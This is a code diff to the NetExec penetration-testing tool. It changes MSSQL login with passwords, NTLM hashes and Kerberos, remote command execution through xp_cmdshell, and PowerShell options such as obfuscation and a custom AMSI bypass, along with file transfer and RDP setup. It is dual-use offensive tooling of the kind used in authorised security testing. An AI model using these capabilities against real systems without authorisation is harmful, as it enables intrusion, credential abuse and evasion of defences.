@@ -22,31 +27,21 @@ from impacket.tds import (
     TDS_ENVCHANGE_CHARSET,
     TDS_ENVCHANGE_PACKETSIZE,
 )
-import contextlib
 
 
 class mssql(connection):
     def __init__(self, args, db, host):
-        self.mssql_instances = None
-        self.domain = None
+        self.mssql_instances = []
+        self.domain = ""
+        self.targetDomain = ""
         self.server_os = None
         self.hash = None
         self.os_arch = None
         self.nthash = ""
+        self.is_mssql = False
 
         connection.__init__(self, args, db, host)
 
-    def proto_flow(self):
-        self.proto_logger()
-        if self.create_conn_obj():
-            self.enum_host_info()
-            self.print_host_info()
-            if self.login():
-                if hasattr(self.args, "module") and self.args.module:
-                    self.call_modules()
-                else:
-                    self.call_cmd_args()
-
     def proto_logger(self):
         self.logger = NXCAdapter(
             extra={
@@ -57,83 +52,98 @@ class mssql(connection):
             }
         )
 
-    def enum_host_info(self):
-        # this try pass breaks module http server, more info https://github.com/byt3bl33d3r/CrackMapExec/issues/363
-        try:  # noqa: SIM105
-            # Probably a better way of doing this, grab our IP from the socket
-            self.local_ip = str(self.conn.socket).split()[2].split("=")[1].split(":")[0]
-        except Exception:
-            pass
-
-        if self.args.no_smb:
-            self.domain = self.args.domain
-        else:
-            try:
-                smb_conn = SMBConnection(self.host, self.host, None)
-                try:
-                    smb_conn.login("", "")
-                except SessionError as e:
-                    if "STATUS_ACCESS_DENIED" in e.getErrorString():
-                        pass
-
-                self.domain = smb_conn.getServerDNSDomainName()
-                self.hostname = smb_conn.getServerName()
-                self.server_os = smb_conn.getServerOS()
-                self.logger.extra["hostname"] = self.hostname
-
-                with contextlib.suppress(Exception):
-                    smb_conn.logoff()
-
-                if self.args.domain:
-                    self.domain = self.args.domain
-
-                if self.args.local_auth:
-                    self.domain = self.hostname
-            except Exception as e:
-                self.logger.fail(f"Error retrieving host domain: {e} specify one manually with the '-d' flag")
-
-        self.mssql_instances = self.conn.getInstances(0)
-        self.db.add_host(
-            self.host,
-            self.hostname,
-            self.domain,
-            self.server_os,
-            len(self.mssql_instances),
-        )
-
-        with contextlib.suppress(Exception):
-            self.conn.disconnect()
-
-    def print_host_info(self):
-        self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
-        # if len(self.mssql_instances) > 0:
-        #     for i, instance in enumerate(self.mssql_instances):
-        #         for key in instance.keys():
-
     def create_conn_obj(self):
         try:
-            self.conn = tds.MSSQL(self.host, self.port)
-            self.conn.connect()
-        except OSError as e:
-            self.logger.debug(f"Error connecting to MSSQL: {e}")
+            self.conn = tds.MSSQL(self.host, self.port, self.remoteName)
+            # Default has not timeout option in tds.MSSQL.connect() function, let rewrite it.
+            af, socktype, proto, canonname, sa = socket.getaddrinfo(self.host, self.port, 0, socket.SOCK_STREAM)[0]
+            sock = socket.socket(af, socktype, proto)
+            sock.settimeout(self.args.mssql_timeout)
+            sock.connect(sa)
+            self.conn.socket = sock
+            if not self.is_mssql:
+                self.conn.preLogin()
+        except Exception as e:
+            self.logger.debug(f"Error connecting to MSSQL service on host: {self.host}, reason: {e}")
             return False
-        return True
+        else:
+            self.is_mssql = True
+            return True
+
+    def reconnect_mssql(func):
+        def wrapper(self, *args, **kwargs):
+            with contextlib.suppress(Exception):
+                self.conn.disconnect()
+            self.create_conn_obj()
+            return func(self, *args, **kwargs)
+        return wrapper
 
     def check_if_admin(self):
+        self.admin_privs = False
         try:
             results = self.conn.sql_query("SELECT IS_SRVROLEMEMBER('sysadmin')")
             is_admin = int(results[0][""])
         except Exception as e:
             self.logger.fail(f"Error querying for sysadmin role: {e}")
-            return False
-
-        if is_admin:
-            self.admin_privs = True
-            self.logger.debug("User is admin")
         else:
+            if is_admin:
+                self.admin_privs = True
+    
+    @reconnect_mssql
+    def enum_host_info(self):
+        challenge = None
+        try:
+            login = tds.TDS_LOGIN()
+            login["HostName"] = ""
+            login["AppName"] = ""
+            login["ServerName"] = self.conn.server.encode("utf-16le")
+            login["CltIntName"] = login["AppName"]
+            login["ClientPID"] = random.randint(0, 1024)
+            login["PacketSize"] = self.conn.packetSize
+            login["OptionFlags2"] = tds.TDS_INIT_LANG_FATAL | tds.TDS_ODBC_ON | tds.TDS_INTEGRATED_SECURITY_ON
+            
+            # NTLMSSP Negotiate
+            auth = ntlm.getNTLMSSPType1("", "")
+            login["SSPI"] = auth.getData()
+            login["Length"] = len(login.getData())
+
+            # Get number of mssql instance
+            self.mssql_instances = self.conn.getInstances(0)
+
+            # Send the NTLMSSP Negotiate or SQL Auth Packet
+            self.conn.sendTDS(tds.TDS_LOGIN7, login.getData())
+
+            tdsx = self.conn.recvTDS()
+            challenge = tdsx["Data"][3:]
+            self.logger.info(f"NTLM challenge: {challenge!s}")
+        except Exception as e:
+            self.logger.info(f"Failed to receive NTLM challenge, reason: {e!s}")
             return False
+        else:
+            ntlm_info = parse_challenge(challenge)
+            self.targetDomain = self.domain = ntlm_info["domain"]
+            self.hostname = ntlm_info["hostname"]
+            self.server_os = ntlm_info["os_version"]
+            self.logger.extra["hostname"] = self.hostname
+            self.db.add_host(self.host, self.hostname, self.targetDomain, self.server_os, len(self.mssql_instances),)
+
+        if self.args.domain:
+            self.domain = self.args.domain
+        if self.args.local_auth:
+            self.domain = self.hostname
+
+        self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
+
+        if not self.kdcHost and self.domain:
+            result = self.resolver(self.domain)
+            self.kdcHost = result["host"] if result else None
+            self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
+
+    def print_host_info(self):
+        self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
         return True
 
+    @reconnect_mssql
     def kerberos_login(
         self,
         domain,
@@ -144,146 +154,125 @@ class mssql(connection):
         kdcHost="",
         useCache=False,
     ):
-        with contextlib.suppress(Exception):
-            self.conn.disconnect()
-        self.create_conn_obj()
-
+        self.username = username
+        self.password = password
+        self.domain = domain
+        self.nthash = ""
         hashes = None
-        if ntlm_hash != "":
+        if ntlm_hash:
             if ntlm_hash.find(":") != -1:
-                hashes = ntlm_hash
-                ntlm_hash.split(":")[1]
+                self.nthash = ntlm_hash.split(":")[1]
+                hashes = f":{self.nthash}"
             else:
-                # only nt hash
-                hashes = f":{ntlm_hash}"
+                self.nthash = ntlm_hash
+                hashes = f":{self.nthash}"
 
         kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) if not all(s == "" for s in [self.nthash, password, aesKey]) else ""
+
+        if useCache and kerb_pass == "":
+            ccache = CCache.loadFile(os.getenv("KRB5CCNAME"))
+            username = ccache.credentials[0].header["client"].prettyPrint().decode().split("@")[0]
+            self.username = username
+
+        used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
         try:
             res = self.conn.kerberosLogin(
                 None,
-                username,
-                password,
-                domain,
+                self.username,
+                self.password,
+                self.domain,
                 hashes,
                 aesKey,
                 kdcHost=kdcHost,
                 useCache=useCache,
             )
             if res is not True:
-                self.conn.printReplies()
-                return False
-
-            self.password = password
-            if username == "" and useCache:
-                ccache = CCache.loadFile(os.getenv("KRB5CCNAME"))
-                principal = ccache.principal.toPrincipal()
-                self.username = principal.components[0]
-                username = principal.components[0]
-            else:
-                self.username = username
-            self.domain = domain
+                raise
             self.check_if_admin()
-
-            used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
-            domain = f"{domain}\\" if not self.args.local_auth else ""
-
-            self.logger.success(f"{domain}{username}{used_ccache} {self.mark_pwned()}")
-            if not self.args.local_auth:
+            self.logger.success(f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}")
+            if not self.args.local_auth and self.username != "":
                 add_user_bh(self.username, self.domain, self.logger, self.config)
             if self.admin_privs:
-                add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
-            return True
-        except Exception as e:
-            used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
-            domain = f"{domain}\\" if not self.args.local_auth else ""
-            self.logger.fail(f"{domain}\\{username}{used_ccache} {e}")
-            return False
-
-    def plaintext_login(self, domain, username, password):
-        with contextlib.suppress(Exception):
-            self.conn.disconnect()
-        self.create_conn_obj()
-
-        try:
-            # this is to prevent a decoding issue in impacket/ntlm.py:617 where it attempts to decode the domain
-            if not domain:
-                domain = ""
-            res = self.conn.login(None, username, password, domain, None, not self.args.local_auth)
-            if res is not True:
-                self.handle_mssql_reply()
-                return False
-
-            self.password = password
-            self.username = username
-            self.domain = domain
-            self.check_if_admin()
-            self.db.add_credential("plaintext", domain, username, password)
-
-            if self.admin_privs:
-                self.db.add_admin_user("plaintext", domain, username, password, self.host)
-                add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
-
-            domain = f"{domain}\\" if not self.args.local_auth else ""
-            out = f"{domain}{username}:{process_secret(password)} {self.mark_pwned()}"
-            self.logger.success(out)
-            if not self.args.local_auth:
-                add_user_bh(self.username, self.domain, self.logger, self.config)
+                add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config)
             return True
         except BrokenPipeError:
             self.logger.fail("Broken Pipe Error while attempting to login")
             return False
-        except Exception as e:
-            self.logger.fail(f"{domain}\\{username}:{process_secret(password)}")
-            self.logger.exception(e)
+        except Exception:
+            error_msg = self.handle_mssql_reply()
+            self.logger.fail("{}\\{}:{} {}".format(self.domain, self.username, kerb_pass, error_msg if error_msg else ""))
             return False
 
+    @reconnect_mssql
+    def plaintext_login(self, domain, username, password):
+        self.password = password
+        self.username = username
+        self.domain = domain
+        
+        try:
+            res = self.conn.login(
+                None,
+                self.username,
+                self.password,
+                self.domain,
+                None,
+                not self.args.local_auth,
+            )
+            if res is not True:
+                raise
+            self.check_if_admin()
+            out = f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
+            self.logger.success(out)
+            if not self.args.local_auth and self.username != "":
+                add_user_bh(self.username, self.domain, self.logger, self.config)
+            if self.admin_privs:
+                add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config)
+            return True
+        except BrokenPipeError:
+            self.logger.fail("Broken Pipe Error while attempting to login")
+            return False
+        except Exception:
+            error_msg = self.handle_mssql_reply()
+            self.logger.fail("{}\\{}:{} {}".format(self.domain, self.username, process_secret(self.password), error_msg if error_msg else ""))
+            return False
+
+    @reconnect_mssql
     def hash_login(self, domain, username, ntlm_hash):
-        lmhash = ""
-        nthash = ""
-
-        # This checks to see if we didn't provide the LM Hash
+        self.username = username
+        self.domain = domain
+        self.lmhash = ""
+        self.nthash = ""
+        
         if ntlm_hash.find(":") != -1:
-            lmhash, nthash = ntlm_hash.split(":")
+            self.lmhash, self.nthash = ntlm_hash.split(":")
         else:
-            nthash = ntlm_hash
-
-        with contextlib.suppress(Exception):
-            self.conn.disconnect()
-        self.create_conn_obj()
+            self.nthash = ntlm_hash
 
         try:
             res = self.conn.login(
                 None,
-                username,
+                self.username,
                 "",
-                domain,
-                ":" + nthash if not lmhash else ntlm_hash,
+                self.domain,
+                f"{self.lmhash}:{self.nthash}",
                 not self.args.local_auth,
             )
             if res is not True:
-                self.conn.printReplies()
-                return False
-
-            self.hash = ntlm_hash
-            self.username = username
-            self.domain = domain
+                raise
             self.check_if_admin()
-            self.db.add_credential("hash", domain, username, ntlm_hash)
-
-            if self.admin_privs:
-                self.db.add_admin_user("hash", domain, username, ntlm_hash, self.host)
-                add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
-
-            out = f"{domain}\\{username} {process_secret(ntlm_hash)} {self.mark_pwned()}"
+            out = f"{self.domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
             self.logger.success(out)
-            if not self.args.local_auth:
+            if not self.args.local_auth and self.username != "":
                 add_user_bh(self.username, self.domain, self.logger, self.config)
+            if self.admin_privs:
+                add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config)
             return True
         except BrokenPipeError:
             self.logger.fail("Broken Pipe Error while attempting to login")
             return False
-        except Exception as e:
-            self.logger.fail(f"{domain}\\{username}:{process_secret(ntlm_hash)} {e}")
+        except Exception:
+            error_msg = self.handle_mssql_reply()
+            self.logger.fail("{}\\{}:{} {}".format(self.domain, self.username, process_secret(self.nthash), error_msg if error_msg else ""))
             return False
 
     def mssql_query(self):
@@ -306,56 +295,61 @@ class mssql(connection):
                 else:
                     self.logger.fail("Unexpected output")
         except Exception as e:
-            self.logger.exception(e)
+            self.logger.exception(f"Failed to excuted MSSQL query, reason: {e}")
             return None
-
         return raw_output
 
     @requires_admin
-    def execute(self, payload=None, print_output=False):
-        if not payload and self.args.execute:
-            payload = self.args.execute
-
-        self.logger.info(f"Command to execute:\n{payload}")
+    def execute(self, payload=None, get_output=False):
+        payload = self.args.execute if not payload and self.args.execute else payload
+        if not payload:
+            self.logger.error("No command to execute specified!")
+            return None
+        
+        get_output = True if not self.args.no_output else get_output
+        self.logger.debug(f"{get_output=}")
+        
         try:
-            exec_method = MSSQLEXEC(self.conn)
-            raw_output = exec_method.execute(payload, print_output)
-            self.logger.info("Executed command via mssqlexec")
-            self.logger.debug(f"Raw output: {raw_output}")
+            exec_method = MSSQLEXEC(self.conn, self.logger)
+            output = exec_method.execute(payload)
+            self.logger.debug(f"Output: {output}")
         except Exception as e:
-            self.logger.exception(e)
-            return None
-
-        if hasattr(self, "server"):
-            self.server.track_host(self.host)
-
-        if self.args.execute or self.args.ps_execute:
-            self.logger.success("Executed command via mssqlexec")
-            if self.args.no_output:
-                self.logger.debug("Output set to disabled")
-            else:
-                for line in raw_output:
-                    self.logger.highlight(line)
-
-        return raw_output
+            self.logger.fail(f"Execute command failed, error: {e!s}")
+            return False
+        else:
+            self.logger.success("Executed command via mssqlexec")   
+            if output:
+                output_lines = StringIO(output).readlines()
+                for line in output_lines:
+                    self.logger.highlight(line.strip())
+        return output
 
     @requires_admin
-    def ps_execute(
-        self,
-        payload=None,
-        get_output=False,
-        methods=None,
-        force_ps32=False,
-        dont_obfs=True,
-    ):
-        if not payload and self.args.ps_execute:
-            payload = self.args.ps_execute
-            if not self.args.no_output:
-                get_output = True
-
-        # We're disabling PS obfuscation by default as it breaks the MSSQLEXEC execution method
-        ps_command = create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs)
-        return self.execute(ps_command, get_output)
+    def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False):
+        payload = self.args.ps_execute if not payload and self.args.ps_execute else payload
+        if not payload:
+            self.logger.error("No command to execute specified!")
+            return None
+        
+        response = []
+        obfs = obfs if obfs else self.args.obfs
+        encode = encode if encode else not self.args.no_encode
+        force_ps32 = force_ps32 if force_ps32 else self.args.force_ps32
+        get_output = True if not self.args.no_output else get_output
+                
+        self.logger.debug(f"Starting PS execute: {payload=} {get_output=} {methods=} {force_ps32=} {obfs=} {encode=}")
+        amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None
+        self.logger.debug(f"AMSI Bypass: {amsi_bypass}")
+        
+        if os.path.isfile(payload):
+            self.logger.debug(f"File payload set: {payload}")
+            with open(payload) as commands:
+                response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output) for c in commands]
+        else:
+            response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output)]
+            
+        self.logger.debug(f"ps_execute response: {response}")
+        return response
 
     @requires_admin
     def put_file(self):
@@ -364,7 +358,7 @@ class mssql(connection):
             try:
                 data = f.read()
                 self.logger.display(f"Size is {len(data)} bytes")
-                exec_method = MSSQLEXEC(self.conn)
+                exec_method = MSSQLEXEC(self.conn, self.logger)
                 exec_method.put_file(data, self.args.put_file[1])
                 if exec_method.file_exists(self.args.put_file[1]):
                     self.logger.success("File has been uploaded on the remote machine")
@@ -374,13 +368,13 @@ class mssql(connection):
                 self.logger.fail(f"Error during upload : {e}")
 
     @requires_admin
-    def get_file(self):
+    def get_file(self): 
         remote_path = self.args.get_file[0]
         download_path = self.args.get_file[1]
         self.logger.display(f'Copying "{remote_path}" to "{download_path}"')
 
         try:
-            exec_method = MSSQLEXEC(self.conn)
+            exec_method = MSSQLEXEC(self.conn, self.logger)
             exec_method.get_file(self.args.get_file[0], self.args.get_file[1])
             self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"')
         except Exception as e:
@@ -394,13 +388,13 @@ class mssql(connection):
         for keys in self.conn.replies:
             for _i, key in enumerate(self.conn.replies[keys]):
                 if key["TokenType"] == TDS_ERROR_TOKEN:
-                    error = f"ERROR({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
+                    error_msg = f"({key['MsgText'].decode('utf-16le')} Please try again with or without '--local-auth')"
                     self.conn.lastError = SQLErrorException(f"ERROR: Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}")
-                    self.logger.fail(error)
+                    return error_msg
                 elif key["TokenType"] == TDS_INFO_TOKEN:
-                    self.logger.display(f"INFO({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}")
+                    return f"({key['MsgText'].decode('utf-16le')})"
                 elif key["TokenType"] == TDS_LOGINACK_TOKEN:
-                    self.logger.display(f"ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) ")
+                    return f"(ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) )"
                 elif key["TokenType"] == TDS_ENVCHANGE_TOKEN and key["Type"] in (
                     TDS_ENVCHANGE_DATABASE,
                     TDS_ENVCHANGE_LANGUAGE,
@@ -422,4 +416,4 @@ class mssql(connection):
                         _type = "PACKETSIZE"
                     else:
                         _type = f"{key['Type']:d}"
-                    self.logger.display(f"ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')}")
+                    return f"(ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')})"

nxc/protocols/mssql/database.py

@@ -77,7 +77,7 @@ class database:
                 print(
                     f"""
                     [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
-                    [-] This is probably because a newer version of nxc is being ran on an old DB schema
+                    [-] This is probably because a newer version of nxc is being run on an old DB schema
                     [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
                     [-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
                 )

nxc/protocols/mssql/mssqlexec.py

@@ -1,74 +1,89 @@
 import binascii
-from nxc.logger import nxc_logger
 
 
 class MSSQLEXEC:
-    def __init__(self, connection):
+    def __init__(self, connection, logger):
         self.mssql_conn = connection
-        self.outputBuffer = ""
+        self.logger = logger
 
-    def execute(self, command, output=False):
-        command_output = []
+    def execute(self, command):
+        result = None
         try:
+            self.logger.debug("Attempting to enable xp cmd shell")
             self.enable_xp_cmdshell()
         except Exception as e:
-            nxc_logger.error(f"Error when attempting to enable x_cmdshell: {e}")
+            self.logger.error(f"Error when attempting to enable x_cmdshell: {e}")
         try:
-            result = self.mssql_conn.sql_query(f"exec master..xp_cmdshell '{command}'")
-            nxc_logger.debug(f"SQL Query Result: {result}")
-            for row in result:
-                if row["output"] == "NULL":
-                    continue
-                command_output.append(row["output"])
+            cmd = f"exec master..xp_cmdshell '{command}'"
+            self.logger.debug(f"Attempting to execute query: {cmd}")
+            result = self.mssql_conn.sql_query(cmd)
+            self.logger.debug(f"Raw results from query: {result}")
+            if result:
+                result = "\n".join(line["output"] for line in result if line["output"] != "NULL")
+                self.logger.debug(f"Concatenated result together for easier parsing: {result}")
+                # if you prepend SilentlyContinue it will still output the error, but it will still continue on (so it's not silent...)
+                if "Preparing modules for first use" in result and "Completed" not in result:
+                    self.logger.error("Error when executing PowerShell (received 'preparing modules for first use'), try prepending $ProgressPreference = 'SilentlyContinue'; to your command")
         except Exception as e:
-            nxc_logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}")
+            self.logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}")
 
-        if output:
-            nxc_logger.debug("Output is enabled")
-            for row in command_output:
-                nxc_logger.debug(row)
-            # if len(self.outputBuffer):
         try:
+            self.logger.debug("Attempting to disable xp cmd shell")
             self.disable_xp_cmdshell()
         except Exception as e:
-            nxc_logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}")
-        return command_output
+            self.logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}")
+        return result
 
     def enable_xp_cmdshell(self):
-        self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
+        query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;"
+        self.logger.debug(f"Executing query: {query}")
+        self.mssql_conn.sql_query(query)
 
     def disable_xp_cmdshell(self):
-        self.mssql_conn.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;")
+        query = "exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;"
+        self.logger.debug(f"Executing query: {query}")
+        self.mssql_conn.sql_query(query)
 
     def enable_ole(self):
-        self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;")
+        query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;"
+        self.logger.debug(f"Executing query: {query}")
+        self.mssql_conn.sql_query(query)
 
     def disable_ole(self):
-        self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;")
+        query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;"
+        self.logger.debug(f"Executing query: {query}")
+        self.mssql_conn.sql_query(query)
 
     def put_file(self, data, remote):
         try:
             self.enable_ole()
             hexdata = data.hex()
-            self.mssql_conn.sql_query(f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;")
+            self.logger.debug(f"Hex data to write to file: {hexdata}")
+            query = f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;"
+            self.logger.debug(f"Executing query: {query}")
+            self.mssql_conn.sql_query(query)
             self.disable_ole()
         except Exception as e:
-            nxc_logger.debug(f"Error uploading via mssqlexec: {e}")
+            self.logger.debug(f"Error uploading via mssqlexec: {e}")
 
     def file_exists(self, remote):
         try:
-            res = self.mssql_conn.batch(f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n")[0]["n"]
-            return res == 1
+            query = f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n"
+            self.logger.debug(f"Executing query: {query}")
+            res = self.mssql_conn.batch(query)
+            self.logger.debug(f"File check response: {res}")
+            return res[0]["n"] == 1
         except Exception:
             return False
 
     def get_file(self, remote, local):
         try:
-            self.mssql_conn.sql_query(f"SELECT * FROM OPENROWSET(BULK N'{remote}', SINGLE_BLOB) rs")
-            data = self.mssql_conn.rows[0]["BulkColumn"]
-
+            query = f"SELECT * FROM OPENROWSET(BULK N'{remote}', SINGLE_BLOB) rs"
+            self.logger.debug(f"Executing query: {query}")
+            self.mssql_conn.sql_query(query)
+            data = self.mssql_conn.rows
+            self.logger.debug(f"Get file returned: {data}")
             with open(local, "wb+") as f:
-                f.write(binascii.unhexlify(data))
-
+                f.write(binascii.unhexlify(data[0]["BulkColumn"]))
         except Exception as e:
-            nxc_logger.debug(f"Error downloading via mssqlexec: {e}")
+            self.logger.debug(f"Error downloading via mssqlexec: {e}")

nxc/protocols/mssql/proto_args.py

@@ -1,46 +1,32 @@
-from argparse import _StoreTrueAction
+from nxc.helpers.args import DisplayDefaultsNotNone
 
 
-def proto_args(parser, std_parser, module_parser):
-    mssql_parser = parser.add_parser("mssql", help="own stuff using MSSQL", parents=[std_parser, module_parser])
+def proto_args(parser, parents):
+    mssql_parser = parser.add_parser("mssql", help="own stuff using MSSQL", parents=parents, formatter_class=DisplayDefaultsNotNone)
     mssql_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
-    mssql_parser.add_argument("--port", default=1433, type=int, metavar="PORT", help="MSSQL port (default: 1433)")
+    mssql_parser.add_argument("--port", default=1433, type=int, metavar="PORT", help="MSSQL port")
+    mssql_parser.add_argument("--mssql-timeout", help="SQL server connection timeout", type=int, default=5)
     mssql_parser.add_argument("-q", "--query", dest="mssql_query", metavar="QUERY", type=str, help="execute the specified query against the MSSQL DB")
-    no_smb_arg = mssql_parser.add_argument("--no-smb", action=get_conditional_action(_StoreTrueAction), make_required=[], help="No smb connection")
 
     dgroup = mssql_parser.add_mutually_exclusive_group()
-    domain_arg = dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain name")
+    dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain name")
     dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
-    no_smb_arg.make_required = [domain_arg]
 
     cgroup = mssql_parser.add_argument_group("Command Execution", "options for executing commands")
-    cgroup.add_argument("--force-ps32", action="store_true", help="force the PowerShell command to run in a 32-bit process")
     cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
     xgroup = cgroup.add_mutually_exclusive_group()
     xgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command")
     xgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
 
-    psgroup = mssql_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation")
-    psgroup.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts")
+    psgroup = mssql_parser.add_argument_group("Powershell Options", "Options for PowerShell execution")
+    psgroup.add_argument("--force-ps32", action="store_true", default=False, help="Force the PowerShell command to run in a 32-bit process via a job; WARNING: depends on the job completing quickly, so you may have to increase the timeout")
+    psgroup.add_argument("--obfs", action="store_true", default=False, help="Obfuscate PowerShell ran on target; WARNING: Defender will almost certainly trigger on this")
+    psgroup.add_argument("--amsi-bypass", nargs=1, metavar="FILE", type=str, help="File with a custom AMSI bypass")
     psgroup.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts")
+    psgroup.add_argument("--no-encode", action="store_true", default=False, help="Do not encode the PowerShell command ran on target")
 
     tgroup = mssql_parser.add_argument_group("Files", "Options for put and get remote files")
-    tgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt C:\\Windows\\Temp\\whoami.txt")
-    tgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Get a remote file, ex: C:\\Windows\\Temp\\whoami.txt whoami.txt")
+    tgroup.add_argument("--put-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Put a local file into remote target, ex: whoami.txt C:\\\\Windows\\\\Temp\\\\whoami.txt")
+    tgroup.add_argument("--get-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Get a remote file, ex: C:\\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
 
-    return parser
-
-
-def get_conditional_action(baseAction):
-    class ConditionalAction(baseAction):
-        def __init__(self, option_strings, dest, **kwargs):
-            x = kwargs.pop("make_required", [])
-            super().__init__(option_strings, dest, **kwargs)
-            self.make_required = x
-
-        def __call__(self, parser, namespace, values, option_string=None):
-            for x in self.make_required:
-                x.required = True
-            super().__call__(parser, namespace, values, option_string)
-
-    return ConditionalAction
+    return parser

nxc/protocols/rdp.py

@@ -87,6 +87,16 @@ class rdp(connection):
     #             if hasattr(self.args, 'module') and self.args.module:
 
     def proto_logger(self):
+        import platform
+        if platform.python_version() in ["3.11.5", "3.11.6", "3.12.0"]:
+            import sys
+
+            class DevNull:
+                def write(self, msg):
+                    pass
+
+            sys.stderr = DevNull()
+
         self.logger = NXCAdapter(
             extra={
                 "protocol": "RDP",
@@ -140,10 +150,16 @@ class rdp(connection):
 
         if self.args.domain:
             self.domain = self.args.domain
-
         if self.args.local_auth:
             self.domain = self.hostname
 
+        self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
+
+        if not self.kdcHost and self.domain:
+            result = self.resolver(self.domain)
+            self.kdcHost = result["host"] if result else None
+            self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
+
         self.target = RDPTarget(
             ip=self.host,
             hostname=self.hostname,
